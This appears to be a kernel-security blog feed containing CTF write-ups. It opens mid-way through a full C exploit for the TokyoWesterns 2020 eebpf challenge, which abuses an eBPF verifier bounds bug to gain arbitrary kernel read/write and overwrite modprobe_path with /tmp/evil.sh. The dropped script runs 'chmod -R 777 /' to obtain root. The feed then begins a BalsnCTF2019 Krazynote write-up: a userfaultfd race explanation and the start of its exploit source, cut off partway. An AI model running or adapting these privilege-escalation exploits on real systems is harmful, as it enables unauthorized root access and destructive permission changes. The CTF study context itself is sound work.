      BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x8),
      // arg3(&amp;amp;val)
      BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_0, -0x10),
      BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP),
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x10),
      // arg4(flags)
      BPF_MOV64_IMM(BPF_REG_ARG4, BPF_ANY),
      // map_update_elem(mapfd, &amp;amp;key, &amp;amp;val, 0)
      BPF_EMIT_CALL(BPF_FUNC_map_update_elem),

      BPF_MOV64_IMM(BPF_REG_0, 0),
      BPF_EXIT_INSN(),
  };

  union bpf_attr prog_attr = {
      .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
      .insn_cnt = sizeof(insns) / sizeof(insns[0]),
      .insns = (uint64_t)insns,
      .license = (uint64_t)&amp;#34;GPL v2&amp;#34;,
      .log_level = 2,
      .log_size = sizeof(verifier_log),
      .log_buf = (uint64_t)verifier_log,
  };

  int progfd = bpf(BPF_PROG_LOAD, &amp;amp;prog_attr);
  if (progfd &amp;lt; 0) {
    puts(&amp;#34;============[failed reason]============&amp;#34;);
    printf(&amp;#34;%s&amp;#34;, verifier_log);
    puts(&amp;#34;============[failed reason]============&amp;#34;);
    fatal(&amp;#34;bpf(BPF_PROG_LOAD)&amp;#34;);
  }

  int socks[2];
  if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks)) {
    fatal(&amp;#34;socketpair&amp;#34;);
  }
  if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &amp;amp;progfd, sizeof(int))) {
    fatal(&amp;#34;setsockopt&amp;#34;);
  }

  // Trigger the BPF program
  write(socks[1], &amp;#34;UNIGURI&amp;#34;, 7);

  bpf_map_lookup(mapfd, 0, &amp;amp;val);

  close(socks[0]);
  close(socks[1]);
  close(progfd);

  if (do_print_verifier_log) {
    puts(&amp;#34;============[verifier log]============&amp;#34;);
    printf(&amp;#34;%s&amp;#34;, verifier_log);
    puts(&amp;#34;============[verifier log]============&amp;#34;);
  }

  return val - 0xd0;
}

static void aaw64(uint64_t addr, uint64_t val) {
  char verifier_log[0x10000];

  uint64_t map_val = 1;
  bpf_map_update(mapfd, 0, &amp;amp;map_val);

  struct bpf_insn insns[] = {
      // BPF_REG_ARG1 == struct __sk_buff
      BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_ARG1, -0x8),

      // arg1(mapfd)
      BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
      // arg2(&amp;amp;key)
      BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x10, 0),
      BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x10),
      // map_lookup_elem(mapfd, &amp;amp;key)
      BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),
      BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
      BPF_EXIT_INSN(),
      BPF_MOV64_REG(BPF_REG_5, BPF_REG_0),           // r5 = map_elem
      BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0),  // r6 = *map_elem == 1

      BPF_MOV64_REG(
          BPF_REG_0,
          BPF_REG_6),  // r0 = r6 == (.val=0, .mask=0xffffffffffffffff)
      BPF_MOV64_IMM(BPF_REG_1, -1),  // r1 = 0xffffffffffffffff
      BPF_ALU64_IMM(BPF_RSH, BPF_REG_1,
                    3),  // r1 = r1 &amp;gt;&amp;gt; 3 == 0x1fffffffffffffff
      BPF_ALU64_REG(BPF_AND, BPF_REG_0,
                    BPF_REG_1),  // r0 = r0 &amp;amp; r1 == (actual_val=1; .val=0,
                                 // .mask=0x1fffffffffffffff)
      BPF_ALU64_IMM(BPF_ALSH, BPF_REG_0,
                    3),  // r0 = r0 &amp;lt;&amp;lt; 3 == (actual_val=8; .val=0,
                         // .mask=0xfffffffffffffff8;
                         // umin=0, umax=0xfffffffffffffff8)
      BPF_ALU64_IMM(
          BPF_REG_0, BPF_ADD,
          8),  // r0 = r0 + 8 == (actual_val=0x10; .val=0, .mask=0x8; umin=0x8,
               // umax=0). Because of integer overflow in umax.
      BPF_MOV64_REG(BPF_REG_1, BPF_REG_6),  // r1 = r6 == [map_elem]
      BPF_ALU64_IMM(
          BPF_AND, BPF_REG_1,
          0x08),  // r1 = r1 &amp;amp; 0x08 == (.val=0, .mask=0x8; umin=0, umax=0x8)
      BPF_ALU64_REG(BPF_ADD, BPF_REG_0,
                    BPF_REG_1),  // r0 =  r0 + r1 == (umin=0x8, umax=0x8) ==
                                 // constant 8 (but, it&amp;#39;s actually 0x10)
      BPF_ALU64_IMM(
          BPF_ADD, BPF_REG_0,
          -0x8),  // r0 = r0 - 0x8 == constant 0 (but, it&amp;#39;s actually 0x8)
      BPF_MOV64_REG(BPF_REG_7, BPF_REG_0),  // r7 = r0
      // From now, r7 is marked as constant 0 but it&amp;#39;s actually 0x08

      // arg1(skb)
      BPF_LDX_MEM(BPF_DW, BPF_REG_ARG1, BPF_REG_FP, -0x08),
      // arg2(offset)
      BPF_MOV64_IMM(BPF_REG_ARG2, 0),
      // arg3(to) = fp-0x20
      BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP),      // arg3 = fp
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x20),  // arg3 = arg3(fp)-0x20
      BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_ARG3,
                  -0x18),  // *(u64*)(fp-0x18) = arg3 == fp-0x20
      // arg4(len)
      BPF_MOV64_REG(BPF_REG_ARG4,
                    BPF_REG_7),  // arg4 = r7 == (actual_val=0x8; val=0, mask=0)
      BPF_ALU64_IMM(BPF_MUL, BPF_REG_ARG4,
                    1),  // arg4 = 1 * arg4 == (actual_val=0x8; val=0, mask=0)
      BPF_ALU64_IMM(
          BPF_ADD, BPF_REG_ARG4,
          8),  // arg4 = arg4 + 1 == (actual_val=0x10; val=0x8, mask=0)
      // skb_load_bytes(skb, 0, fp-0x20, (actual_val=0x10; val=0x8, mask=0))
      BPF_EMIT_CALL(BPF_FUNC_skb_load_bytes),  // fp-0x18 = addr

      // arg1(skb)
      BPF_LDX_MEM(BPF_DW, BPF_REG_ARG1, BPF_REG_FP, -0x08),
      // arg2(offset)
      BPF_MOV64_IMM(BPF_REG_ARG2, 0x10),
      // arg3(to) = addr
      BPF_LDX_MEM(BPF_DW, BPF_REG_ARG3, BPF_REG_FP,
                  -0x18),  // arg3 = fp-0x18 == addr
      // arg4(len)
      BPF_MOV64_IMM(BPF_REG_ARG4, 8),
      // skb_load_bytes(skb, 0x10, addr, 8)
      BPF_EMIT_CALL(BPF_FUNC_skb_load_bytes),

      BPF_MOV64_IMM(BPF_REG_0, 0),
      BPF_EXIT_INSN(),
  };

  union bpf_attr prog_attr = {
      .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
      .insn_cnt = sizeof(insns) / sizeof(insns[0]),
      .insns = (uint64_t)insns,
      .license = (uint64_t)&amp;#34;GPL v2&amp;#34;,
      .log_level = 2,
      .log_size = sizeof(verifier_log),
      .log_buf = (uint64_t)verifier_log,
  };

  int progfd = bpf(BPF_PROG_LOAD, &amp;amp;prog_attr);
  if (progfd &amp;lt; 0) {
    puts(&amp;#34;============[failed reason]============&amp;#34;);
    printf(&amp;#34;%s&amp;#34;, verifier_log);
    puts(&amp;#34;============[failed reason]============&amp;#34;);
    fatal(&amp;#34;bpf(BPF_PROG_LOAD)&amp;#34;);
  }

  int socks[2];
  if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks)) {
    fatal(&amp;#34;socketpair&amp;#34;);
  }
  if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &amp;amp;progfd, sizeof(int))) {
    fatal(&amp;#34;setsockopt&amp;#34;);
  }

  uint64_t buf[] = {0xdeadbeefcafebebe, addr, val};
  write(socks[1], buf, sizeof(buf));

  close(socks[0]);
  close(socks[1]);
  close(progfd);
}
static uint64_t aar64(uint64_t addr) {
  char verifier_log[0x10000];

  uint64_t map_val = 1;
  bpf_map_update(mapfd, 0, &amp;amp;map_val);

  struct bpf_insn insns[] = {
      // BPF_REG_ARG1 == struct __sk_buff
      BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_ARG1, -0x8),

      // arg1(mapfd)
      BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
      // arg2(&amp;amp;key)
      BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x10, 0),
      BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x10),
      // map_lookup_elem(mapfd, &amp;amp;key)
      BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),
      BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
      BPF_EXIT_INSN(),
      BPF_MOV64_REG(BPF_REG_5, BPF_REG_0),           // r5 = map_elem
      BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0),  // r6 = *map_elem == 1

      BPF_MOV64_REG(
          BPF_REG_0,
          BPF_REG_6),  // r0 = r6 == (.val=0, .mask=0xffffffffffffffff)
      BPF_MOV64_IMM(BPF_REG_1, -1),  // r1 = 0xffffffffffffffff
      BPF_ALU64_IMM(BPF_RSH, BPF_REG_1,
                    3),  // r1 = r1 &amp;gt;&amp;gt; 3 == 0x1fffffffffffffff
      BPF_ALU64_REG(BPF_AND, BPF_REG_0,
                    BPF_REG_1),  // r0 = r0 &amp;amp; r1 == (actual_val=1; .val=0,
                                 // .mask=0x1fffffffffffffff)
      BPF_ALU64_IMM(BPF_ALSH, BPF_REG_0,
                    3),  // r0 = r0 &amp;lt;&amp;lt; 3 == (actual_val=8; .val=0,
                         // .mask=0xfffffffffffffff8;
                         // umin=0, umax=0xfffffffffffffff8)
      BPF_ALU64_IMM(
          BPF_REG_0, BPF_ADD,
          8),  // r0 = r0 + 8 == (actual_val=0x10; .val=0, .mask=0x8; umin=0x8,
               // umax=0).
      BPF_MOV64_REG(BPF_REG_1, BPF_REG_6),  // r1 = r6 == [map_elem]
      BPF_ALU64_IMM(
          BPF_AND, BPF_REG_1,
          0x08),  // r1 = r1 &amp;amp; 0x08 == (.val=0, .mask=0x8; umin=0, umax=0x8)
      BPF_ALU64_REG(BPF_ADD, BPF_REG_0,
                    BPF_REG_1),  // r0 =  r0 + r1 == (umin=0x8, umax=0x8) ==
                                 // constant 8 (but, it&amp;#39;s actually 0x10)
      BPF_ALU64_IMM(
          BPF_ADD, BPF_REG_0,
          -0x8),  // r0 = r0 - 0x8 == constant 0 (but, it&amp;#39;s actually 0x8)
      BPF_MOV64_REG(BPF_REG_7, BPF_REG_0),  // r7 = r0
      // From now, r7 is marked as constant 0 but it&amp;#39;s actually 0x08

      // arg1(skb)
      BPF_LDX_MEM(BPF_DW, BPF_REG_ARG1, BPF_REG_FP, -0x08),
      // arg2(offset)
      BPF_MOV64_IMM(BPF_REG_ARG2, 0),
      // arg3(to) = fp-0x20
      BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP),      // arg3 = fp
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x20),  // arg3 = arg3(fp)-0x20
      BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_ARG3,
                  -0x18),  // *(u64*)(fp-0x18) = arg3 == fp-0x20
      // arg4(len)
      BPF_MOV64_REG(BPF_REG_ARG4,
                    BPF_REG_7),  // arg4 = r7 == (actual_val=0x8; val=0, mask=0)
      BPF_ALU64_IMM(BPF_MUL, BPF_REG_ARG4,
                    1),  // arg4 = 1 * arg4 == (actual_val=0x8; val=0, mask=0)
      BPF_ALU64_IMM(
          BPF_ADD, BPF_REG_ARG4,
          8),  // arg4 = arg4 + 1 == (actual_val=0x10; val=0x8, mask=0)
      // skb_load_bytes(skb, 0, fp-0x20, (actual_val=0x10; val=0x8, mask=0))
      BPF_EMIT_CALL(BPF_FUNC_skb_load_bytes),  // fp-0x18 = addr

      // arg1(mapfd)
      BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
      // arg2(&amp;amp;key)
      BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x10, 0),
      BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x10),
      // arg3(&amp;amp;val)
      BPF_LDX_MEM(BPF_DW, BPF_REG_ARG3, BPF_REG_FP, -0x18),
      // arg4(flags)
      BPF_MOV64_IMM(BPF_REG_ARG4, 0),
      // map_update_elem(mapfd, &amp;amp;key, &amp;amp;val, 0)
      BPF_EMIT_CALL(BPF_FUNC_map_update_elem),

      BPF_MOV64_IMM(BPF_REG_0, 0),
      BPF_EXIT_INSN(),
  };

  union bpf_attr prog_attr = {
      .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
      .insn_cnt = sizeof(insns) / sizeof(insns[0]),
      .insns = (uint64_t)insns,
      .license = (uint64_t)&amp;#34;GPL v2&amp;#34;,
      .log_level = 2,
      .log_size = sizeof(verifier_log),
      .log_buf = (uint64_t)verifier_log,
  };

  int progfd = bpf(BPF_PROG_LOAD, &amp;amp;prog_attr);
  if (progfd &amp;lt; 0) {
    puts(&amp;#34;============[failed reason]============&amp;#34;);
    printf(&amp;#34;%s&amp;#34;, verifier_log);
    puts(&amp;#34;============[failed reason]============&amp;#34;);
    fatal(&amp;#34;bpf(BPF_PROG_LOAD)&amp;#34;);
  }

  int socks[2];
  if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks)) {
    fatal(&amp;#34;socketpair&amp;#34;);
  }
  if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &amp;amp;progfd, sizeof(int))) {
    fatal(&amp;#34;setsockopt&amp;#34;);
  }

  uint64_t buf[] = {0xdeadbeefcafebebe, addr};
  write(socks[1], buf, sizeof(buf));

  bpf_map_lookup(mapfd, 0, &amp;amp;map_val);

  close(socks[0]);
  close(socks[1]);
  close(progfd);

  return map_val;
}

int main() {
  mapfd = bpf_map_create(sizeof(uint64_t), 1);
  map_addr = leak_bpf_map_addr(0);
  printf(&amp;#34;[+] map_addr = 0x%016lx\n&amp;#34;, map_addr);

  uint64_t kernel_base = aar64(map_addr) - BPF_MAP_OPS_OFFSET;
  printf(&amp;#34;[+] kernel_base: 0x%016lx\n&amp;#34;, kernel_base);

  const char* new_modprobe = &amp;#34;/tmp/evil.sh&amp;#34;;
  const size_t new_modprobe_len = strlen(new_modprobe);
  printf(&amp;#34;[*] Overwrite modprobe to %s\n&amp;#34;, new_modprobe);
  for (size_t i = 0; i &amp;lt; new_modprobe_len; i += 8) {
    aaw64(kernel_base + MODPROBE_OFFSET + i, *(uint64_t*)(new_modprobe + i));
  }
  {
    int fd = open(&amp;#34;/proc/sys/kernel/modprobe&amp;#34;, O_RDONLY);
    if (fd &amp;lt; 0) {
      fatal(&amp;#34;open(/proc/sys/kernel/modprobe)&amp;#34;);
    }

    char modprobe[0x100];
    read(fd, modprobe, sizeof(modprobe));
    if (strncmp(modprobe, new_modprobe, new_modprobe_len)) {
      printf(&amp;#34;[*] new modprobe: %s\n&amp;#34;, modprobe);
      puts(&amp;#34;[-] Failed to overwrite modprobe&amp;#34;);
      return -1;
    }
    puts(&amp;#34;[+] Successfully overwritten modprobe&amp;#34;);
  }

  puts(&amp;#34;[+] Get root&amp;#34;);
  system(&amp;#34;echo -e &amp;#39;#!/bin/sh\nchmod -R 777 /&amp;#39; &amp;gt; /tmp/evil.sh&amp;#34;);
  system(&amp;#34;chmod +x /tmp/evil.sh&amp;#34;);
  system(&amp;#34;echo -e &amp;#39;\xde\xad\xbe\xef&amp;#39; &amp;gt; /tmp/pwn&amp;#34;);
  system(&amp;#34;chmod +x /tmp/pwn&amp;#34;);
  system(&amp;#34;/tmp/pwn&amp;#34;);

  close(mapfd);
  return 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h2 id=&#34;reference&#34;&gt;Reference&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://gitlab.com/sajjadium/ctf-archives/-/tree/main/ctfs/TokyoWesterns/2020/eebpf&#34;&gt;https://gitlab.com/sajjadium/ctf-archives/-/tree/main/ctfs/TokyoWesterns/2020/eebpf&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
    </item>
    
    <item>
      <title>BalsnCTF2019 Krazynote</title>
      <link>/posts/kernel/write-ups/ctf/balsnctf2019-krazynote/</link>
      <pubDate>Fri, 24 Jan 2025 06:56:49 +0000</pubDate>
      
      <guid>/posts/kernel/write-ups/ctf/balsnctf2019-krazynote/</guid>
      <description>&lt;hr&gt;
&lt;h2 id=&#34;problem&#34;&gt;Problem&lt;/h2&gt;
&lt;h3 id=&#34;environment&#34;&gt;Environment&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;kernel version: &lt;code&gt;5.1.9&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;features&#34;&gt;Features&lt;/h3&gt;
&lt;p&gt;This challenge provide &lt;code&gt;note&lt;/code&gt; misc device with which we can save(0xffffff00) and get(0xffffff02), update(0xffffff01) data using unlocked_ioctl.
When we save and get, update data on it, the xor-encrypted data is stored.&lt;/p&gt;
&lt;p&gt;And the struct enc_data (stored data) and struct request_t is following:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;typedef&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;request_t&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;uint64_t&lt;/span&gt; idx;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;uint64_t&lt;/span&gt; size;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;uint64_t&lt;/span&gt; data;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;} &lt;span style=&#34;color:#66d9ef&#34;&gt;request_t&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;typedef&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;enc_data_t&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;uint64_t&lt;/span&gt; xor_key;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;uint64_t&lt;/span&gt; size;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;uint64_t&lt;/span&gt; data_addr_minus_page_offset_base;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;char&lt;/span&gt; enc_data[&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;]; &lt;span style=&#34;color:#75715e&#34;&gt;// Struct Hack; see https://www.geeksforgeeks.org/struct-hack/
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;} &lt;span style=&#34;color:#66d9ef&#34;&gt;enc_data_t&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;vulnerability&#34;&gt;Vulnerability&lt;/h2&gt;
&lt;p&gt;Since &lt;code&gt;unlocked_ioctl&lt;/code&gt; does not perform blocked-ioctl and the device does not use mutex, we can do race condition attack easily.
Furthermore in given kernel environment, non-privileged userfaultfd is allowed.&lt;/p&gt;</description>
      <content>&lt;hr&gt;
&lt;h2 id=&#34;problem&#34;&gt;Problem&lt;/h2&gt;
&lt;h3 id=&#34;environment&#34;&gt;Environment&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;kernel version: &lt;code&gt;5.1.9&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;features&#34;&gt;Features&lt;/h3&gt;
&lt;p&gt;This challenge provide &lt;code&gt;note&lt;/code&gt; misc device with which we can save(0xffffff00) and get(0xffffff02), update(0xffffff01) data using unlocked_ioctl.
When we save and get, update data on it, the xor-encrypted data is stored.&lt;/p&gt;
&lt;p&gt;And the struct enc_data (stored data) and struct request_t is following:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;typedef&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;request_t&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;uint64_t&lt;/span&gt; idx;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;uint64_t&lt;/span&gt; size;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;uint64_t&lt;/span&gt; data;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;} &lt;span style=&#34;color:#66d9ef&#34;&gt;request_t&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;typedef&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;enc_data_t&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;uint64_t&lt;/span&gt; xor_key;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;uint64_t&lt;/span&gt; size;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;uint64_t&lt;/span&gt; data_addr_minus_page_offset_base;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;char&lt;/span&gt; enc_data[&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;]; &lt;span style=&#34;color:#75715e&#34;&gt;// Struct Hack; see https://www.geeksforgeeks.org/struct-hack/
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;} &lt;span style=&#34;color:#66d9ef&#34;&gt;enc_data_t&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;vulnerability&#34;&gt;Vulnerability&lt;/h2&gt;
&lt;p&gt;Since &lt;code&gt;unlocked_ioctl&lt;/code&gt; does not perform blocked-ioctl and the device does not use mutex, we can do race condition attack easily.
Furthermore in given kernel environment, non-privileged userfaultfd is allowed.&lt;/p&gt;
&lt;p&gt;Consider following sequence:&lt;/p&gt;
&lt;pre class=&#34;mermaid&#34;&gt;
    sequenceDiagram
	    participant user
	    participant device
	    participant userfaultfd
	    
	    user-&amp;gt;&amp;gt;device: store_data(idx &amp;lt;- 0)
	    note over device: [0x00] enc_data(key=?,len=0x10,data=0x18) @ idx=0
	    device-&amp;gt;&amp;gt;userfaultfd: request: copy_from_user
	    userfaultfd-&amp;gt;&amp;gt;device: request: reset
	    note over device: [0x00] NULL
	    userfaultfd-&amp;gt;&amp;gt;device: request: store_data(idx &amp;lt;- 0)
	    note over device: [0x00] enc_data(key=?,len=0,data=0x18) @ idx=0
	    userfaultfd-&amp;gt;&amp;gt;device: request: store_data(idx &amp;lt;- 1)
	    note over device: [0x00] enc_data(key=?,len=0,data=0x18) @ idx=0
	    note over device: [0x18] enc_data(key=?,len=0,data=0x30) @ idx=1
	    userfaultfd-&amp;gt;&amp;gt;device: response: data of copy_from_user = {0x11111111, 0x22222222, 0x33333333}
	    note over device: [0x00] enc_data(key=?,len=0,data=0x18) @ idx=0
	    note over device: [0x18] enc_data(key=0x11111111,len=0x22222222,data=0x33333333) @ idx=1
	    user-&amp;gt;&amp;gt;device: get_data(idx=1)
&lt;/pre&gt;
&lt;p&gt;As see above, we can control xor_key and size, data_addr_minus_page_offset_base of enc_data_t.
Then we can leak xor_key(&lt;code&gt;leak_xor_key&lt;/code&gt;) and data_addr_minus_page_offset_base(&lt;code&gt;leak_vuln_dev_minus_page_offset_base&lt;/code&gt;), device(module)_base(&lt;code&gt;leak_vuln_dev_base&lt;/code&gt;), page_offset_base(&lt;code&gt;vuln_dev_base - vuln_dev_base_minus_page_offset_base&lt;/code&gt;), kernel_base(&lt;code&gt;leak_kernel_base&lt;/code&gt;) step by step.&lt;/p&gt;
&lt;p&gt;As the device provide read and update features, we can make AAR &amp;amp; AAW primitives using these features on modified enc_data.&lt;/p&gt;
&lt;h2 id=&#34;exploit&#34;&gt;Exploit&lt;/h2&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;325471986&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;325471986&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;BalsnCTF2019-Krazynote-exploit.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#define _GNU_SOURCE
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;linux/userfaultfd.h&amp;gt;
#include &amp;lt;poll.h&amp;gt;
#include &amp;lt;pthread.h&amp;gt;
#include &amp;lt;sched.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;sys/ioctl.h&amp;gt;
#include &amp;lt;sys/mman.h&amp;gt;
#include &amp;lt;sys/syscall.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#define VULN_DEV_NAME &amp;#34;note&amp;#34;
#define VULN_DEV_CMD_ADD 0xffffff00
#define VULN_DEV_CMD_UPDATE 0xffffff01
#define VULN_DEV_CMD_GET 0xffffff02
#define VULN_DEV_CMD_RESET 0xffffff03
#define VULN_DEV_BASE 0xffffffffc0000000
#define VULN_DEV_MISC_FILE_OPS_OFFSET (0xffffffffc0002060 - VULN_DEV_BASE)
#define VULN_DEV_MISC_FILE_OPS_UNLOCKED_IOCTL_IDX 10
#define VULN_DEV_MISC_FILE_OPS_FLUSH_IDX 14
#define VULN_DEV_OFFSET_TO_PTR_TO_KERNEL_BASE \
  (0xffffffffc00021f8 - VULN_DEV_BASE)

#define KERNEL_BASE 0xffffffff81000000
#define OFFSET_OF_KERNEL_ADDR_OBTAINED_BY_VULN_DEV \
  (0xffffffff810a8fa0 - KERNEL_BASE)
#define CORE_PATTERN_OFFSET (0xffffffff8210dbe0 - KERNEL_BASE)

static void get_enter_to_continue(const char* msg) {
  puts(msg);
  getchar();
}
static void fatal(const char* msg) {
  perror(msg);
  // get_enter_to_continue(&amp;#34;Press enter to exit...&amp;#34;);
  exit(-1);
}

